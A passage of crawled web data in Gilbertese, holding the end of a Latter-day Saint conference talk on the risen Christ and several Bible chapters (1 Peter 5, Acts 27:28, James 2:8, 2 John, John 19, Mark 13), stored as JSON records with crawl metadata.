temanna n uakekei, are arana Kireoba, e kaeka ni kangai, Ko maeka n iruwa i Ierutarem n te aro are ti Ngkoe ae Ko aki atai baika a riki iai ni bong aikai?\"6\nA kaota nanokawakia Nakoina bwa Iesu e mate ngke a kakoaua bwa Ngaia te Tia Kabooa Iteraera.\nIai te tangira ni bwanaan te Tia Kamaiu ae e a tia n uti ngkai E taetae nakoia reirei aika rawawata man tanginiwenei.\n\"Ao ngaia e taku nakoia, Ngkami aika kam nanobaba, ao kam waeremwe n iri nanoni b'ai ni kabane ake a atongi burabeti:\n\"Tiaki e riai ba E na maraki ni mate te Kristo ni baikekei, ao ba E na rin n neboakina?\n\"Ao E kaeti nakoia baike E taekinaki iai n te Baibara ni kabane, ni moa ni kaeti mairouni Mote ao mairouia burabeti ni kabaneia.\"7\nImwiina e kaoti te tai are e karauaki iai nanou ngke te ataeinimwaane Ngai;\n\"Ao a kania te kawa are a nako iai: ao Ngaia E bakaea te nako riki.\n\"Ao uakekei a kairoroa ni kangai, Ko na tiku i roura: ba e a kani bong, ao e a kan toki te ngaina. Ao e rin n tiku i rouia.\"8\nTe Tia Kamaiu e butimwaea te kakao n te tairiki anne n rin n aia auti ana reirei irarikin te kawa are Emauti.\nE tekateka n amwarake ma ngaiia. E anaa te kariki, kakabwaia, e tabeutaia, ao e anganiia. A kaureaki mataia ngaia are a kinaa. Imwiina E mauna naba mai rouia. E korea rongorongon aia namakin reirei ake a kakabwaiaki: \"Ao a i taetae i rouia, Tiaki a bue nanora i nanora, ngke E taetae ma ngaira i nanon te kawai, ao ngke E kabara nanon te Baibara nakoira?\"9\nAo n te aoa naba anne reirei akana uoman a kawaekoaia n oki nako Ierutarem n tuangiia Abotoro ake tengaun ma temanna terana are e riki nakoia. N te tai anne e a manga kaoti te Tia Kamaiu.\nE a manga rinanon riki taian taetae ni burabeti ibukin Ana mwakuri n kamaiuira ibukin aia bure ni kabane natin Tamana ao n urua ana kabaebae te mate.\n\"Ao E taku nako ia, E koreaki n ai aron aei, ba E na maraki ni mate te Kristo, ao ba E na manga uti mai buakoia mate n te kateni bong:\n\"Ao ba e na tataekinaki rairan te nano ma kabwarani bure n arana i buakoia botanaomata ni kabaneia ni moa n taekinaki i Ierutarem.\n\"Tani kaotioti ngkami ni baikai.\"10\nA koaua ana taeka te Tia Kamaiu nakoira naba ngkai bon ibukiia Ana reirei ngkanne. Taani kaotioti ngaira ibukin baikai. Ao te mwakuri are ti butimwaia ngke ti bwabetitoaki nakon Ana Ekaretia Iesu Kristo Ibukia Aika Itiaki ni Boong Aika Kaitira e kabebeteaki nakoira mairoun te burabeti are Aramwa tienture aika a nako n ranin Moomon:\n\"Ao e koro bukina bwa e kangai nakoia:Taraia,aikai nein Moomon (bwa anne araia) ao ngkai, ngkana kam tangiria ni kaaina ana nanai te Atua, ao n aranaki bwa ana botanaomata, ao n tauraoi ni katoka i aomi rawawataia raomi, bwa aonga ni beebete,\n\"Eng, ao n tauraoi n tang ma ake a tang;eng, ao ni karau nanoia ake a kannanoa karauan nanoia,ao n riki bwa taan kakoaua ibukin te Atua n taainako ao ni bwaai nako,n taabo nako ake kam nako iai,ni karokoa matemi,bwa kam aonga ni kabooaki iroun te Atua,ao rin ibuakoia ake a ana ira te moan mangauti,bwa e aonga n reke iroumi te maiu are akea tokna—\n\"Ao ngkai I kangai nakoimi, ngkana aio are tangiria nanomi, ao teraa bukina bwa kam na aki kan bwabetitoaki inanon aran te Uea, n riki bwa te tia kakoaua ibukina ao ni karaoa te berita ae tabu mangaia,bwa kam na toro irouna ao ni kaawakin ana tua, bwa e aonga ni kabtia Tameneina ni karuoa nako aomi?\n\"Ao ngke a tia n ongo te botanaomata taeka aikai, ao a uboi baia n te kimwareirei, ao a kangai: Anne bon kukurein nanora.\"11.\nTi bane ni mena iaan ana tua bwa tia aonga n tabekakirake ao n riki bwa taan tia kakoaua te Tia Kamaiu ngkai ti maiu.\nTi riai ni karaoa aio maan naaki bwaaka iai ngkana ti namakina ara tangira nakon te Tia kamaiu ao Ana tangira nakoira. Ngkana iai te onimaki ibukin ara berita are e reke iroura, ti kona n namakina ara tangira ae riki rake ibukina ti namakina Korakorana ao baa naana nakoira man ana I buobuoki.\nBeretitenti Thomas S Monson e kauringira ibukin ana berita te Atua I bukin onimakinaia ana reirei.\"Ao te koraki ake atia reke irouia, ao Ngai naba e a tia naba n reke irou, ao N na mena i moam,Ao n na mena n angataim ao nanga mwaingim, ao tameiu e na mena inanom, ao au anera e na kawakiniko, man uotiko rake.\"12\nIai kawai are ngkoe ao Ngai ti namakina bwa rangi ni kaan mangaira. Ngkana tia ngangana ara mwakuri Nakoina, Ao e na bon memena iroura ao naake ti tangiria n ara utu. Ni katoatai I weteaaki iroun te Atua bwa n a nako ke ni kitania au utu, I bon ataia bwa te Uea e na bon kakabwaia buu ao natiu ngkana i kitania. E a tia ni katauraoa ana toro ae tangiraki ma Katabeana bwa e na kaan Mangaia.\nKo namakina te kakabwaia ae ai aron anne inanon maium. A maiti mai ibuakomi iai ake kam tangiria kama tia ni katautaua i bukin te maiu are e na roko. Ko kona ni mimi bwa maitin are e a tia n reke iroum. E na bon nakon ana babaire te Uea ngkana ko kaan mangaia ao ni mwakuri I bukina n ana onimaki.\nKo uringa ana berita te Uea nakon Iotebwa Timiti ao Sidney Rigdon ngke a raraonako mai irouia aia utu iaon Ana mwakuri: \"Raraou Sidney ao Iotebwa, ami utu a marurung; a mena inanon baiu, ao Nna kawakiniia raoi n aron ae kam mwakuri raoi nakoiu; bwa irou ao a bane mwaaka ni kabane.\"13\nN aron Aramwa ao King Motiaea, tabeman mai iroumi toro aika kakaonimaki ake a tia ni beku ibukin te Uea. N ai aromi, a karaoi ni kabane ake a kona, riki ma ana ibuobuoki mai irouia aomata aika tangiraki ao ni kakaonimaki.\nAramwa ao Aomata aika a itiaki n ana bong a tataro ibukin natina ao natin King Motiaea. Te anera e roko.. Ami tataro ao aia tataro naake a kammwakura aia onimaki e na uotiia ana toro te Uea ni buokiia ami utu. A na buokiia n rinea te kawai n oki nakon te Atua, riki ngkana a kamwaruaaki irouia ana toro Tatan, are ana kantaninga bwa e na kamaunaia utu n te maiu aei ao are akea tokina.\nKo urungi taeka ake a taekinaki iroun te anera nakon Aramwa te tei ao natin Motiaea n kaitaraakia: \"Ao e a manga kangai riki te anera: Taraia, e a tia te Uea n ongo aia tataro ana botanaomata, ao ana tataro naba ana toro ae Aramwa, ae tamam; bwa e a tia n tataro ma te onimaki ae korakora ibukim bwa ngkoe ae ko na anganaki ataakin te koaua; mangaia ae aio bukin ae I a roko iai bwa n na kaota nakoim mwaakan ao korakoran te Atua, bwa aonga ni kaekaki aia tataro ana toro n aron aia onimaki.\"14\nAu berita nakoim ngkoe ae ko tatataro ao ni beku ibukin te Uea e naaki kona bwa kakabwaia ni kabane ake ko tangiri ibukim ma am utu. Ma I kona ni berita nakoim bwa te tia Kamaiu e na kaaniko ma ni kakabwaiako ma am utu n aron ae tamaroa riki. E na reke te rau man Ana tangira ao ko na namakina kaekan Kanna nakoim ngkai ko anga baim ni mwakuri ibukiia am utu. Ngkai ko kabaea ikoakiia naake a kainnano ao n anganano ni kaitiaki n Ana Mwakuri ni Kamaiu nakoia naake a nanokawaki n te bure, mwaakan te Uea e na kamatoako. Baina ana tangaina ma baim n buokiia ao ni kakabwaiaia natin Tamara are i Karawa.\nIai te oki ae mimitong nakon mweengara ae katauraoaki ibukira. Ti na nooria ikanne kakoroan bukin ana berita te Uea are ti tangiria. Bon Ngaia are e butimwaira nakon te maiu ae akea tokina ma Ngaia ao Tamara are I Karawa. Iesu Kristo e kabwarabwara te kawai aei:\n\"Ukeuke n uotarake ao ni katea au Tion. Kawakin au tua ni bwaai aikai ni kabane.\n\"Ao ngkana ko reitinako ni kawakin au tua ao n teimatoa nua te toki ko na karekea te maiu are akea tokina, are te bwaintangira ae te kabanea n rietata n ana bwaintangira te Atua.\"15\n\"Bwa naake a maiu a na bwaibwai iaon te aba, ao naake a mate a na motirawa man aia mwakuri ni kabane ao aia mwakuri ana iririia; ao ana karekea te baunuea n ana auti Tamau are I katauraoia ibukia.\"16\nI kakoaua bwa ti kona ni maiu man te Tamnei are e irira ana kakao Tamara are I Karawa: \"Natiu ae Tangiraki Teuaei. Kam na ongo i Rouna!\"17\nMan Ana taeka ao Ana banna ni katooto, Kristo e a tia ni kaota aron kaniiara riki Nakoina. Ni kabane natin Tamara are i Karawa are e a tia n rineia n rin n mataroan te bwabetito inanon Ana Ekaretia e na karekea ana tai n reireinaki Ana euangkerio ao n ongora mai iroun Ana toro are e weteaki Ana kakao nakon \"nakomai nakoiu.\"18\nNi kabane toro inanon te berita ae tabu inanon Aba n ueana iaon te aba, n te aba n tamnei, a na karekea Ana kairiiri ngkai a kakabwaiaia ao ni beku ibon irouia ibukina. Ana namakina Ana tangira, iroun te Tamneiao ni kunea te kukurei ni kaan riki nakoina.\nNgai te tia kakoaua ni Manga Utin te Uea ni koauan are ngke I a tia n roko ikekei n te tairiki ma uoman ana reirei n te auti iaon kawain Emauti. I ataia bwa E maiu n aron kakoauan Iotebwa Timiti ngke e noora te Tama ao te Nati n otan te moaningabong ae raneanea n te buakonikai i Palmyra.\nAio bon ana Ekaretia ni koaua Iesu Kristo. Ti kiingin te nakoanibonga are e tauaki iroun Beretitenti Thomas S. Monson bon te mwaaka nakoira ni kabaeaki inanon ara utu ni maiu n aki toki ma Tamara are I Karawa ao te Uea Iesu Kristo. Ti na tei n te Bong ni Motikitaeka imatan te Tia Kamaiu, n itaramata. E na riki bwa te tai ni kukurei ibukia ake a kaan riki nakoina inanon Ana mwakuri n te maiu aei n ongo ana taeka: \"E tamaroa, au toro ae ko raoiroi ao ni kakaonimaki.\"19 I kakoaua ngkai I kakoaua n utin te Tia Kamaiu ao ara Tia Kaboira n aran Iesu Kristo, amen.\n-\n-\n-\n3. \"Abide with Me; 'Tis Eventide,\" Anene n taromauri, nanbwa. 165.\n-\n4. Ruka 24:5–7.\n-\n5. Mareko 16:7.\n-\n6. Ruka 24:15–18.\n-\n7. Ruka 24:25–27.\n-\n8. Ruka 24:28–29.\n-\n9. Ruka 24:32.\n-\n10. Ruka 24:46–48.\n-\n11. Motiaea 18:8–11.\n-\n-\n-\n14. Motiaea 27:14.\n-\n-\n-\n-\n18. Mataio 11:28.\n-\n19. Mataio 25:21.\nBwaai aika a na taraaki\nSitio web oficial de La Iglesia de Jesucristo de los Santos de los Últimos Días\n© 2013 Intellectual Reserve, Inc. Todos los derechos reservados","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.lds.org\/general-conference\/print\/2013\/04\/-come-unto-me-?lang=spa&clang=gil","date":"2013-12-19T18:31:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1387345766127\/warc\/CC-MAIN-20131218054926-00094-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2668,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae I kani kauungaia unimwaane akana a mena i buakomi, ngai ae bon te unimwaane naba, ao te tia noora Kristo n arona ni maraki, ao te tia buokanibwai n te neboaki are e nang kaotaki: 2kam na tararuaa raoi ana nanai te Atua ma ni kaawakinna raoi, tiaki n te aro ae kam kairoroaki iai; ma kam na kaawakinna ma te nano ni kukurei n ai aron nanon te Atua. Kam na kaawakinna naba, tiaki ibukin te kanibwaibwai n te aro ae e aki riai, ma ibukina bwa bon iai nanomi ae e korakora nako iai; 3ao tai tau-taekaniia akana a mena i aan ami tararua, ma kam na riki bwa banna ni kakairi nakon te nanai. 4Ao ngkana E a manga oki te Tia Kaawakin-tiibu are te Mataniwi, ao e na reke iroumi te bau are te neboaki are e aki konaa n rai. 5Ao i bukimi ngkami aika kam ataei riki: kam na aan-taeka irouia unimwaane. Ao kam na bwaina te nanorinano n aromi n i torotoro iroumi; bwa e kaangai te Baibara: Bwa E ekiia nako akana a kainikatonga te Atua, ao E akoiia akana a nanorinano. 6Ma ngaia ae kam na kananoorinanoingkami i aani bain te Atua ae e baina ae mwaaka, bwa E aonga ni karietaataingkami n te tai ae e riai. 7Kam na kaaki i aona baika kam raraomaeakin, bwa E tabeakiningkami. 8Kam na kamarurungingkami, ao bwaina te tatauraoi. Bwa e aiwa ami i are te riaaboro n ai aron te raian ae e bekorara, n ukoukora konana bwa e na oongnga. 9Kam na raarawa nakoina, ao kam na teimatoa n te onimaki, ngkai kam ataia bwa raomi n onimaki i aon aaba nako a taonaki naba ni maraki aika ti te bo aroia ma akana kam taonaki iai. 10Ao te Atua are mai irouna te aakoi ni kabane, ae E weteingkami nakon neboakina ae e aki toki ngkai kam reitaki ma Kristo, E na karaoingkami bwa a na nako raoi aromi i mwiini marakimi n te tai ae e aki maan, ao E na kateimatoaingkami ma ni kakorakoraingkami ma ni kamatoatoaingkami 11Ana bwai te tau-taeka n aki tootoki. Amene. 12E korea te reta ae e kimototo Tirouano i bukiu, ae te tari ae I taku bwa e kakaonimaki. I kani kauungaingkami ma ni kaotiota te aakoi aei bwa te 476,1 BETERO 5 aakoi ni koaua ae mai iroun te Atua: kam na tei matoa iai. 13E kamauringkami neiei, ae e mena i Bwaburon ae neie e rineaki naba ma ngkami; ao e kamauringkami naba Mareko ae natiu. 14Kam na i kamauringkami n ai aroia taari ni kamauri. E na mena te rau iroumi ni kabaneingkami akana kam reitaki ma Kristo.\n1 BETERO 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/5","date":"2013-12-09T16:01:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163988740\/warc\/CC-MAIN-20131204133308-00059-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":449,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.477,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:2828A taua iabutin taari n aia bwai ni baire, ao a kunea iai bwa uabwi te ngaa nanona; ao ngke a nako riki teutana ao a manga taua riki iabutina, ao a nooria bwa tengauni ma nimanga. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/28","date":"2013-12-10T02:00:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164004837\/warc\/CC-MAIN-20131204133324-00093-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000014305114746}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 2:88Ma kam karaoa ae e raoiroi ngkana kam toua mwiin te tua are mai iroun te Uea, are e koreaki ni kaangai: Ko na tangira raom n ai aron tangiram i bon iroum; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/2\/8","date":"2013-12-09T13:59:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163977808\/warc\/CC-MAIN-20131204133257-00001-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999848604,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 0.999984860420227}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai iroun te unimwaane nakon te aine ae e karineaki ae e rineaki ma natina akana I tangiriia ni koaua; ma tiaki ti ngaia, bwa a tangiraki naba irouia ni kabaneia ake a ataa te koaua; 2ti tangiringkami ibukin te koaua ae e mena i nanora, ao e meemena i nanora n aki toki. 3E na mena iroura te akoi, ma te nanoanga, ma te raoi, mai iroun te Atua ae te Tama ao mai iroun Iesu Kristo are Natin te Tama; a na mena baikai iroura ngaira aika ti ataa te koaua aika ti i tangitangiri. 4I bati ni kimwaareirei ngke I nooriia natim temwaangina bwa a bwaabwaina te koaua ni maiuia, n toua mwiin te tua ae ti anganaki mai iroun te Tama. 5Ao I butiiko ngkai, ngkoe ae te aine ae ko karineaki, bwa ti na i tangitangiri: I aki koroia nakoim bwa te tua ae e boou, ma bon te tua are e reke iroura ma ngke ti moa n riki bwa Kristian. 6Aio te tangira, bwa ti na tou mwiin ana tua nako te Atua. Aio te tua, bwa kam na bwaabwaina te tangira ni maiumi, n ai aron are kam ongo ngke kam moa n riki bwa Kristian. 7Bwa a bati taani mwaamwanaa te aba ake a tia ni waakin aia mwakuri i aonnaba, ake a aki kakoauaa Iesu Kristo bwa E roko n rabwata. Te aomata ae arona aei boni ngaia te tia mwaamwanaa te aba ao ana kairiribai Kristo. 8Kam na tarataraingkami bwa kam na tai kabuai baike kam mwakuri i bukiia; ma kam na karekei kaniwangami aika a bwanin raoi. 9Ane e aki toua mwiin ana taeka n reirei Iesu ma e kiitanna n tannako, ao akea te Atua irouna; ane e toua mwiin ana reirei, ao bon iai irouna te Tama ma te Nati. 10Ngkana e kawaringkami temanna ao e aki uota te taeka n reirei aei, ao kam na tai butimwaaia ni karinna i nanon ami auti, ao kam na tai kamauria. 11Ane e kamauria ao e buokanibwai ma ngaia n ana mwakuri aika a bubuaka. 12Ngkai a bati au taeka aika I kani koroi nakoimi, ao I aki kani koroi n te beebwa ma te anto. 13A kani kamauriko natin tarim ae e rineaki.\n2 IOANE 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2John\/1","date":"2013-12-11T22:16:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164050279\/warc\/CC-MAIN-20131204133410-00020-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":377,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia are e tua ngkanne Birato bwa e na tauaki Iesu ni kataereaki. 2A karaoa te bau ni kaai aika a kateketeke tautia, ao a katokaa i aon atuna; ao a karina i aona te kunnikai ae uraroo, 3ao a okiokiria n oreia, ao a kaangai nakoina, Ko na mauri, aia Uea I-Iutaia! 4Ao e a manga oti nako Birato, ao e taku nakoia aomata, Noria, N na kaotinakoa Iesu nakoimi, ao kam na ataia iai bwa akea ana bure ae I kunea. 5Ma ngaia are E oti nako Iesu ma ana bau are e kateketeke i aon atuna, ao E kunnikaia n te kunnikai are e uraroo. Ao e taku Birato nakoia, Noria, ao aio Teuaei! 6Ngke a nooria ngkanne ibonga ake mataniwi ma bureitiman, ao a takaarua ni kaangai, Kamatea n te kaibangaki, kamatea n te kaibangaki. E taku Birato nakoia, Anaia ngkami, ao kamatea n te kaibangaki, bwa akea ana bure ae I kunea. 7A kaeka I-Iutaia ao a taku, Iai ara tua ae e kaotaki iai bwa E riai kamateana, ibukina ngke E atongnga bwa Natin te Atua Ngaia. 8Ngke e ongo arei Birato, ao e a maaku riki. 9E a manga oki n rin i nanon te Beretoriam, ao e titirakina Iesu ni kaangai, Maia Ngkoe? Ma E aki kaeka Iesu. 10Ma ngaia are e taku Birato nakoina, Ko aki taetae nakoiu? Ko aki ataia bwa iai irou te konaa ni kainaomatako ao te konaa ni kamateko n te kaibangaki? 11E kaeka Iesu ao E taku, Bon akea te bwai ae ko konaa ni karaoia nakoiu, ngke arona bwa ko aki anganaki te konaa ni karaoia mai karawa; ma ngaia are e a rawaawata riki ana bure te aomata are e anga Ngai nakoim nakon am bure. 12Ngke e ongo aei Birato, ao e ukoukora te anga are e na kainaomataa iai Iesu. Ma a takaarua nakoina aomata, ao a kaangai, Ngkana ko kainaomataa Iesu, ao tiaki raoni ngkoe uean te tautaeka n Rom. Ane e taku bwa te uea ngaia ao bon te tia eekaanako uean te tautaeka n Rom. 13Ma ngaia are ngke e ongo taeka akanne Birato, ao e kaira Iesu ni kaotinakoa, ao e tekateka i aon ana kai n tekateka te tia moti n te tabo are a wene ni baaireaki iai atiibu aika kaanga atirababa. Aran te tabo arei n te taetae n Ebera boni Kabata. 14Te bong arei bon te bongi ni katauraoi i mwaain te Toa are te Riao; tao e a tawanou. Ao e taku Birato nakoia I-Iutaia, Noria, ao aio ami Uea! 15Ao ngaiia a takaarua ngkanne nakoina ao a kaangai, Kamatea, kamatea, kamatea n te kaibangaki! E taku Birato nakoia, N na kamatea ami Uea n te kaibangaki? A kaeka ibonga ake mataniwi ao a kaangai, Akea ara uea bwa ti uean te tautaeka n Rom. 16Ma ngaia are e a anganiia ngkanne Birato bwa E na kamateaki n te kaibangaki. E a kairaki nako ngkanne Iesu irouia tautia. 17Ao E oti nako man te kaawa Iesu, n uota ana kaibangaki i bon irouna, nakon te tabo are e aranaki bwa te tabo n Tabwanou, are e aranaki n te taetae n Ebera bwa Korokota. 18A taura Iesu n te kaibangaki n te tabo arei, ao uoman raona aika a tauraki naba ni kaibangaki i rarikina, bwa temanna i rarikina teuana, ao temanna n are teuana, ao Ngaia i nuuka. 19Iai taeka ake e tua Birato bwa a na koreaki, ao a kanimwaki i aon te kaibangaki; ao a kaangai taeka akanne: IESU AE TE I-NATARETA AE AIA UEA I-IUTAIA. 20Ao a wareka te koroboki arei I-Iutaia aika a bati, bwa e kaani ma te kaawa te tabo are E kamateaki iai Iesu n te kaibangaki; ao a koreaki taeka akekei n te taetae n Ebera, n te taetae n Ratine ao n te taetae n Erene. 21A taku ngkanne ibonga ake mataniwi nakoni Birato, Tai korea ae e kaangai, Aia Uea I-Iutaia, ma korea ae e kaangai, E taku Teuaei, Aia Uea I-Iutaia Ngai. 22E kaekaia Birato ao e taku, are I a tia ni koroia, ao ai ngaia naba. 23Ma ngaia are ngke a a tia tautia n taura Iesu n te kaibangaki, ao a anai kunnikaina ni karaoi aua te tibwa maiai: teuana tibwan temanna te tautia. A karaoa ae aron naba aei nakon ana kabaraaki; ao ana kabaraaki arei, e aki karaoaki mani mwakorokoro ni kunnikai aika a ituaki, ma bon ti teuana ni kunnikai ae e rarangaaki mai eta nako nano. 24A i taetae ngkanne irouia ao a taku, Ti na aki urua n tibwaia, ma ti na kaiwaia n nooria bwa antai ae e na bwainna iroura. E riki aei bwa e na kakoroaki bukin are e taekinaki n te Baibara are e kaangai: A tibwai kunnikaiu i buakoia, ao a kaiwa niiniirau. Ao aei ngkanne te baere a karaoia tautia. 25Ao a tei i rarikin ana kaibangaki Iesu tinana ma tarin tinana are Nei Maria are buni Keroba, ao Nei Maria are te I-Mwaketara. 26Ma ngaia are ngke E noora tinana Iesu, ao E noora naba te reirei are E tangiria bwa e tei i rarikina, ao E taku nakon tinana, Neiko, nooria, ao anne natim. 27Ao E a manga taku ngkanne nakon te reirei arei, Noria, ao anne tinam. Ao man te aoa arei, ao e a wareka naba neierei te reirei arei bwa temanna naba ngaia i buakoia kaain ana utu. 28I mwiin aei, ngke E ataia Iesu bwa a a tia bwaai ni kabane, ao bwa e aonga ni kakoroaki bukin te taeka are e koreaki n te Baibara, ao E taku, I taka. 29Iai te boora ikekei ae e on n te wain ae e kamangingi; ma ngaia are a kateboa te tibwanti ni katibua iai, ao a katekea i tabon te kai ae te utobwa, ao a angani wina. 30Ao ngke E tia ngkanne Iesu ni katoonga te wain arei, ao E taku, E a tia; ao E karara atuna, ao E anga taamneina. 31Bon te bongi ni katauraoi te bong arei, ma ngaia are a butiia Birato ibonga ake mataniwi bwa a na oteaki waeia uaake a tauraki n te kaibangaki, ao a na karuoaki rabwataia bwa a na aki tiku n tine n te kaibangaki ni karokoa bongin te taabati, bwa te bong ae e kakannato te taabati arei. 32Ma ngaia are a roko tautia ao a otoi waeia ni moa mai iroun te kamwarua are temanna ao i mwiina are temanna ake a tauraki ma Iesu; 33ma ngke a roko iroun Iesu ao a nooria bwa E a kamani mate, ao a aki otoi waena, 34ma e ewara rarikina temanna irouia tautia n te kainiwai, ao e waa nako naba ngkekei te raraa ma te ran. 35Teuare e nooria boni ngaia ae taekinna, ao a koaua ana taeka, ao e ataia bwa e taekina te koaua, bwa kam aonga naba n onimaki. 36Bwa a riki baikai bwa e aonga ni kakoroaki mwiin taekan te Baibara are e kaangai, E na aki oteaki riina teaina. 37Ao e kaangai naba te taeka teuana n te Baibara, Ane a na taraa Teuare a ewaria. 38I mwiini baikai, ao e butiia Birato Iotebwa are te I-Arimataia bwa e na uota nako rabwatan Iesu; ana reirei Iesu ngaia, ma e karabaa bwa e maakuia I-Iutaia. E kariaia ana buubuti Birato, ma ngaia are e nako n anaa rabwatan Iesu ao e uotia nako. 39E roko naba Nikotemo, are e kawara ngkoa Iesu n te tairiki teuana; e roko ma uotana te mura ae e renganaki ma te aroe ae tao tebubua te bwauna rawaawatana. 40A anaa rabwatan Iesu uaaka uoman aikai, ao a niiria n te kunnikai ae e mainaina ae e nneaki i nanona baika a boiarara, n ai aron aia katei I-Iutaia ni katauraoan aia mate i mwaain taunana. 41Ao bon iai te nne n aroka n te tabo are E tauraki iai Iesu n te kaibangaki; ao i nanon te nne n aroka, bon iai te nne ni mate ae e boou, ae e tuai ni kaweneaki te mate iai. 42Ma ngaia are a kawenea iai rabwatan Iesu ibukina ngke bongin te katauraoi irouia I-Iutaia te bong arei, ao ibukina naba bwa e kaan te nne ni mate arei.\nIOANE 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/19","date":"2013-12-12T03:02:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164359940\/warc\/CC-MAIN-20131204133919-00097-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1380,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E oti nako Iesu man te umwantabu, ao e taku ana reirei temanna nakoina, Te Tia Reirei, tarai atiibu nako ma auti aikai, bwa e katika te mata taraaia! 2E kaeka Iesu ao E taku, Ko noori auti aika a abwaabwaki aikai? Akea te atiibu teuana ae e na tiku ni nnena, bwa a na bane ni kabwakaaki. 3E tekateka Iesu i aon te maunga are Oriweta, are e tei ni kaaitara ma te umwantabu, ngke a roko irouna Betero, ma Iakobo, ma Ioane, ma Anterea n ti ngaiia. 4A titirakinna ni kaangai, Tuangiira bwa a na riki baikanne n ningai? Ao tera te bwai ae ti na ataia iai bwa e a roko te tai are a nang kakoroaki iai bukini baikanne? 5E taku Iesu nakoia, Kam na tarataraingkami bwa a na akea ae e na burebureingkami. 6A mwaiti aomata akana na roko, akana na araniia n arau, ao a na kaangai, Boni Ngaia ngai! Ao ane a na kekeweia aomata aika a bati. 7Ao ngkana kam ongo rongorongoni bo ni buaka aika a kaan ma aika a raroa nako, ao kam na aki maaku. Ane a na roko baikanne, ma e tuai n roko te toki. 8Ane e na tei rake te bootanaomata teuana ni buakana te bootanaomata teuana, ao te uea temanna ni buakana te uea temanna; ane e na roko mwaeiein te aba n taabo nako, ao ane a na roko roongo. Aikai karawaawata aika a na roko moa. 9Ma kam na tarataraingkami, bwa ane a na kateingkami i matani kaboowi, ao ane kam na oreaki i nanoni mwaneabaia I-Iutaia; ao ane kam na tei i mataia taan tau-taeka ma ueea i bukiu, bwa kam na taekina te koaua nakoia. 10Ma i mwaain rokon te toki, ao e riai bwa e na tataekinaki te euangkerio nakoia bootanaomata ni kabaneia. 11Ngkana kam tauuaki ao kam kateaki i matan te kaboowi, ao tai katabei moa nanomi n iangoi taeka ake kam na taekin; bwa ngkana e a roko taina, ao kam na atong taeka ake kam na anganaki. Bwa taeka ake kam na atong, a aki nako mai iroumi; a nako mai iroun te Taamnei are e Raoiroi. 12Ao mwaane ane a na anga tariia bwa a na tiringaki, ao a na karaoa naba aron aei taama nakoia natiia. Ane a na ekiia nako aia karo naati, ao a na karaoi mwakuri aika a na kamateaki iai. 13Ane kam na ribaaki irouia aomata nako ibukin arau, ma ane e nanomwaaka ni karokoa matena, ao e na kamaiuaki. 14Ngkana kam noora te Baere E Kakamaaku bwa e tei n te tabo are e riai n aki mena iai, (ke e ataia ane e wareware) ao akana mena i Iutaia, ke a biri nako ni maunga; 15ao ane e mena i taubukin te auti, ke e tai ruo bwa e na rin i nanon ana auti n anaa te bwai maiai n uotia nako; 16ao ane e mwakuriia abana, ke e tai okira mwengana n anaa ana kabaraaki. 17Ao ai kaawa 